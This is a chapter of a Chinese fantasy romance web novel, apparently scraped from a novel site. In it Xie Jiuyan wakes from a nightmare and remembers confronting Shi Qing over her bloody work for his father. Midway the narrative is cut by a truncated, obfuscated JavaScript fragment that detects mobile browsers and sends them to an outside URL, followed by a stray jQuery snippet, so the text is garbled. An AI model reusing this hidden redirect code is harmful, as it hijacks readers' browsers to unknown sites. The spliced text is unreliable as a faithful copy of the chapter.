默认冷灰
24号文字
方正启体

8. 爱恨

作者:砚玖本书字数:K更新时间:
    谢九晏的语调极其低微,裹挟着梦魇的沙哑与撕裂感,却异常清晰地回荡在死寂的殿宇中。


    他倏地攥紧了手,指节泛起骇人的青白,紧接着,一句更轻、却更涩哑沉痛的呓语挣扎而出。


    “恨……你……骗我。”


    裹挟着怨怼的梦呓,重若千钧地砸在了时卿耳畔。


    如同晨雾遇阳般,时卿眸中刚刚浮起的柔和刹那褪尽。


    她缓缓收回虚悬的手,无声顿在离谢九晏咫尺之遥的半空,心底最后一丝涟漪亦彻底平息。


    那句在梦中仍旧压抑着痛苦的低喘,在她耳畔沉沉回荡,挥之不去。


    瞬息间,一种奇异的冲动倏而在她胸腔里蔓延开来。


    不是愤怒,亦非屈辱,更接近于……一种沉冷的不平。


    她甚至想穿过梦境的壁垒,对着这个无端指控着她的男子反问一句——


    谢九晏,我何曾骗过你?


    她同他之间,或许有过避而不谈的沉默,有过权衡之下的隐瞒,但……她说出的每一句话,立下的每一次承诺,从未掺杂过半分虚假,更不屑于用谎言去蒙蔽。


    那些最终没能做到的事,他的疏离和责怨,她早便坦荡受下,亦从未试图逃避。


    可唯独这“骗”字——她不认。


    没有再试图靠近,隔着一段不远不近的距离,时卿长久地注视着谢九晏眉间残余的痛楚痕迹。


    她倏然牵起唇角,眼底却无半分笑意,取而代之的,是一种不容撼动的、近乎冷冽的沉凝。


    谢九晏,你又凭什么……问出这样一句?


    ……


    一阵撕裂般的窒息感攫住心脏,谢九晏倏然睁开了双眼!


    仿佛刚从溺毙的深渊挣扎回岸,他胸膛剧烈起伏,重重地喘息着。


    冷汗早已浸透内衫,额发湿漉漉地黏在鬓角,衬得那张惊魂甫定、毫无血色的脸愈发苍白如纸。


    谢九晏失神地跌坐在冰冷的座椅上,眼底那抹浓得化不开的伤恸,如同墨汁滴入清池,久久未能晕散,透出一种罕见的茫然与无措。


    他已经很久……很久,未曾梦见母亲死时的模样了。


    自从……


    他指尖几不可察地蜷了蜷,仿佛在寻找着什么般,视线自殿内缓缓逡巡……最终,定格在窗前那张空置的软榻上。


    心头倏而腾起一抹连他自己都未曾觉察的微弱渴盼。


    曾经,在他被梦魇折磨得近乎难以入眠的那些时日,每每惊醒的一霎,总能看到一个人。


    那个强硬的、自以为是得令人恼火的身影,那个无论他如何恶语相向、冷声驱赶,仍旧死赖在他身侧,偏得守着他睡去后方肯悄声悄声的人。


    谢九晏的眸光凝滞了一瞬,随即,一股更加深重的冰寒自心底蔓延开来,瞬间冻结了那抹尚未成形的妄念。


    他猛地收回视线,眼中翻涌的波澜渐渐沉淀下去,化为一片深不见底的墨色,如同凝固的永夜。


    梦魇的后半段狠狠楔入脑海,将那些不合时宜的幻影彻底刺穿——


    ……


    谢九晏背靠着冰冷的石壁,殿外的风将几个高阶魔将的议论吹散开来,又清晰地灌入他耳中。


    “时护法啊……那可真是君上面前顶顶风光的红人了!”


    一个粗犷的声音率先响起,带着毫不掩饰的艳羡。


    另一人接过话,嗓音略带不屑,却难掩兴奋:“这还用你说?听说人家昨儿夜里又替君上‘清理’了一派不安分的族群,啧啧,那手段……”


    “不过……君上走火入魔得越发频繁了,那股子嗜血的劲儿上来,连我见了也发怵……”


    那人顿了顿,话语里掺上了几分心照不宣的暗示:“这时护法能替他料理那些腌臜事,深得倚重也属应当。”


    “依我看……不止是倚重吧。”


    一道带着狎昵意味的笑音响起,虽压低了声音,却更显刺耳:“我听说……君上私下里对这护法……很是‘亲近’呢?”


    “一个出身低微的精魅,能在魔界攀得这般高,难说……”


    “闭嘴!”有人语调微急地喝止了那未尽的话,“你不要命了!”


    所有话音戛然而止。


    但那句没有言明的暗示已如带毒的藤蔓,猝然缠上心头,让谢九晏浑身血液瞬间冻结。


    垂在身侧的手死死攥紧,指甲深陷掌心带来尖锐的刺痛,他咬紧牙关,只觉通体冰寒,五脏六腑都仿佛被无形的冰锥刺穿绞紧,连身体都成了僵冷的累赘。


    他知道谢沉的功法早已失控,多年无法纾解的狂暴反噬,如同不断溃烂的毒疮,早已将其彻底吞噬,变得愈发嗜血而暴虐。


    也是因此,当年谢沉才会误闯花妖族境,遇上了……母亲。


    所谓的“父子之名”,谢沉没有看在眼里,他又何曾在乎半分?


    他甚至不止一次地怨恨,自己身上为何流淌着他的污血,为什么这个沾染无数命债的人,仍然可以这般自在安稳活在这世上!


    可是……为什么偏偏连她也是?


    这个念头如同淬了寒毒的利刃,狠狠剜进谢九晏混乱的思绪,带来从未有过的绝望与茫然。


    眼前似乎浮现起那人鲜活明艳的笑靥,虽然霸道、自以为是,亦总是挂着烦人的笑意,却似乎永远与阴冷污秽绝缘的身影……


    时卿……


    你竟当真……在为虎作伥?!


    许久以来潜藏的疑虑,随着那些话语骤然撕开伪饰,血淋淋地摊在眼前,谢九晏的认知几乎溃败,唯剩一股几乎将他撕裂的失望与……痛楚。


    那日,他像个失魂的傀儡,在时卿回来的必经之路上立了一夜,直到天光将尽,廊下终于响起熟悉而略显滞重的脚步声。


    他猛地抬眼。


    是她。


    她穿着那身惯常的黑红劲装,步履却比往日迟缓,脸色在熹微晨光中透出一种近乎透明的苍白,眉宇间凝着曾浅淡的疲惫。


    与往日不同,谢九晏的视线不受控制地落在了她衣摆和袖口的位置,只一眼,心便猛地沉坠,直落无底寒渊!


    那里沾染着大片大片已经干涸、凝结成深褐色的污渍,浓重得令人作呕的血腥气,即便隔着数步之遥,也如同实质般狠狠刺入他的鼻腔。


    其实……他并非全然不知。


    只是以往,时卿总会先去涤净这些痕迹,换一身清整衣衫才肯出现在他面前。


    他也总是心照不宣地不去问,不去看,仿佛这样,便能在摇摇欲坠的认知边缘,为自己、也为她,保留最后一点虚假的余地。


    而这一次,那些秽语如跗骨之蛆,他再无法佯作不知,自欺欺人地去维持那可笑的太平。


    35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16362742|183766||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >在时卿即将擦身而过时,谢九晏陡然自阴翳中跨出,截住了她的去路!


    时卿不曾想过会在这里碰到他,微讶抬眸,那双眼仍是一如既往的明润清澈。


    谢九晏死死盯住她衣襟上那刺目的深褐血迹,许久方阖了阖眼,嗓音带着久未开口的干涩沙哑:“你去了何处?”


    时卿本欲扬起的笑顿在面上,察觉到他的视线,她仿佛明白了什么,旋即再度一笑,依旧是那副让他痛恨又无力的坦然之态。


    她甚至没有试图解释那血迹的由来,只是平静地迎上他燃着怒焰的眼瞳:“只是奉命,做了些差事。”


    “差事?”谢九晏缓缓重复着这两个字,心底积压的怒意再难遏制,语调陡然一沉,“是替谢沉卖命,还是……代他去取旁人的命?!”


    “时卿……”他声音里带着一种濒临破碎的嘶哑,“你究竟知不知道,你在做什么?!”


    闻言,时卿眸光极快地颤动了一瞬,她似是极轻地叹息了一声,却仍旧沉静无澜地应道:“我是君上座下护法,做的,亦是分内之事。”


    “分内之事?好一个分内之事!”


    最后一分试图维系理智的弦因这轻描淡写的答复彻底崩断,谢九晏怒极反笑,猛地逼近一步,不由分说地扣住了时卿的手腕!


    “那你告诉我……”


    他死死攫住她的视线,面上染上几分失控的戾气,声音如同困兽绝望的低吼:“若他有朝一日要你取我的性命,你是不是也会……毫不犹豫地动手?!”


    明明是质问,但话音落下时,谢九晏却不受控地轻颤了一下,心口传来一阵没来由的痛楚。


    回应他的,是长久的、令人心慌的死寂。


    就在谢九晏以为这便是时卿的答案,亦因此泄去了所有气力,颓然松手之际,时卿却忽地上前一步,反握住了他的掌心。


    距离骤然拉近,他清晰地在她眼底看到了自己濒临崩溃的倒影,而她深望着他,目光澄澈如初,一字一顿,清晰无比地落下:“不会。”


    “谢九晏,我永远不会背弃你。”


    ……


    夜色沉沉罩下,勾勒出谢九晏苍白清绝的侧颜轮廓,每一寸线条,都仿佛浸透了难以消融的苦涩。


    他倏地闭上双眼,浓密的睫毛剧烈地颤抖着,隔绝了眼底翻涌的、复杂到了极致的情绪。


    ——有恨,有怨,有痛,也有连他自己都说不清的……孤寂。


    指节因用力而发出“咯咯”的轻响,随即又像是耗尽了所有气力般寸寸松开,最终无力地覆在了紧闭的眼睑之上。


    指缝间,呼吸变得沉滞而压抑,如同被无形的巨石碾过胸膛。


    ——可她终究是背弃了他。


    这个认知,比方才的梦魇更甚,让他浑身生冷。


    如若从未打算真正履诺,又何必在他面前,编造出那样一个……让他难以忘怀的谎言?


    后来每一次,当那幕景象在记忆深处浮现,非但不能带来丝毫慰藉,反而如同攥紧了一把淬毒的钝刃,带来更深、更甚百倍的酸涩与灼痛。


    他不愿去回想,却亦无法彻底遗忘,只能一次次地任由那破碎的誓言反复凌迟着他所剩无几的尊严,以及那一点点……


    曾以为握紧了的暖意。


    时卿。


    你知不知道……我有多么恨你?
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)